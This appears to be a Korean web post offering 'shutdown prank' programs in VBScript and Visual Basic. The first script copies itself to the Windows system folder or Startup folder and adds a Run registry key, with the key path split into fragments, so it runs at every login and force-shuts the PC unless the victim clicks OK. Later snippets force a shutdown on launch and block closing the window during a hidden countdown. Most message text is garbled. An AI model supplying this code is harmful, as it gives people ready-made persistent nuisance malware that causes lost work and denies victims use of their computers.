VB 종료 패러디 프로그램

VB 종료 패러디 프로그램1:

Dim fs, dirwin, c,Wll, str,strr,r
Set fs = CreateObject("Scripting.FileSystemObject") 
Set dirwin = fs.GetSpecialFolder(1)
Set Wll = WScript.CreateObject("WScript.Shell")
Set c = fs.GetFile(WScript.ScriptFullName) 
str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"
if (fs.FileExists(dirwin&"\wxb.vbs")) Then
call Show_And_Do("reg")
elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Then
call Show_And_Do("Startup")
else 
On Error Resume Next
strr=""
Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"
strr=Wll.Regread (str)
if strr="" then
c.Copy("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs") 
 else
c.Copy(dirwin&"\wxb.vbs") 
end if 
 
end if 
 
sub Show_And_Do(s)
dim f
r = MsgBox (" : ! " & Chr(13) & Chr(10) & " -> " & Chr(10) & " -> , !", 4145, "MsgBox Example")
If r = 1 Then 
if s="Startup" then
set f = fs.GetFile("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
f.Delete()
elseif s="reg" then
Wll.RegDelete str
set f = fs.GetFile(dirwin&"\wxb.vbs")
f.Delete()
end if 
Else
wll.run "Shutdown.exe -s -f -t 0"
End If
end sub

위쪽이 좀 복잡해요. 그럼 좀 간단한 걸로 할게요.
코드는 다음과 같습니다.

Option Explicit
Const SM_CLEANBOOT = 67
Const EWX_LOGOFF = 0
Const EWX_SHUTDOWN = 1
Const EWX_REBOOT = 2
Const EWX_FORCE = 4

Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long,ByVal dwReserved As Long) As Long

Private Sub Form_Load()
  Call ExitWindowsEx(EWX_SHUTDOWN, 0)
End Sub

네가 더욱 간단한 작법을 채택할 수 있다면
다음 코드를 직접 입력하면 됩니다.

Private Sub Form_Load()
Shell "cmd /c shutdown -s -t 30"
Rem   -t 0  0 ,  -t 0  30 
End Sub

방법 3:

Private Sub Command1_Click()
If Text1 = " " Then
Shell "cmd.exe /c shutdown -a"
MsgBox " !", 64, " "
End
End If
End Sub
Private Sub Form_Load()
MsgBox " 、 , 1 ", 48, " "
Shell "cmd.exe /c shutdown -s -t " & 60, vbHide
End Sub
Private Sub Form_Unload(Cancel As Integer)
g = MsgBox(" ???", vbOKCancel + vbQuestion, " ")
If g = vbOK Then
Cancel = 11
MsgBox " ", 64, " "
End If
If g = 2 Then
Cancel = 11
End If
End Sub

좋은 웹페이지 즐겨찾기